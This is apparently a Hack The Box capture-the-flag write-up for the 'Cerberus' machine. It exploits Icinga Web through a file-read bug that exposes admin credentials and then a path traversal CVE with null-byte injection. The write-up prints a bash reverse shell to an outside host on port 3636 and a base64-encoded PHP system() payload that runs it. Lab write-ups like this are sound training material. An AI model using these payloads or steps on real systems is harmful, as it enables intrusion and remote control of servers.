🐶Cerberus

https://app.hackthebox.com/machines/534

We start by scanning our application and looking at the output we can imagine a web server with some sort of pivoting into an internal server:

So we can see this landing page after putting everything we need into the /etc/hosts file:

after looking up the known exploits:

This hits my eye:

I'll fire up burp and try to look for this file ->

and after a bit of troubleshooting, we find this entry point:

So we got a nice file read vuln right here and we can see the DC.cerberus.local domain that looks like an internal network

so we can pretty much go and look at what would be some web config pages with inciga that we would want to read ->

So we look around those files and find something fun:

So we can find matthew in the Admin group and his creds and we can access the dashboard thanks to those:

So we see some stuff about modules, let's keep that in mind. In the first website we could see an auth user CVE:

So we see something about ssh ressource, can we find this on the website:

I see a private key input, so i gen my key:

openssl genrsa -out mykey.pem 1024

then i'll upload everything using my own key:

I just modified the user since the article talked about saving the resource outside the intended directory and was able to access my key using this technique:

Since <e have access to the files, maybe we can trigger a PHP revers shell:

echo -n '/bin/bash -i >& /dev/tcp/10.10.14.141:3636 0>&1' | base64 -w 0
<?php system("echo -n L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjE0MTozNjM2IDA+JjE | base64 -d | bash")?>

We can see how the CVE is trhiggered:

https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/

So for the payload to be triggered, we need to put a null byte in between the cert and the payload

So we put a null byte in between and forward the request:

And we can see here how we trigger the code, we have to change the default path of the modules to the place we put our payload:

We change this to /dev/shm

Last updated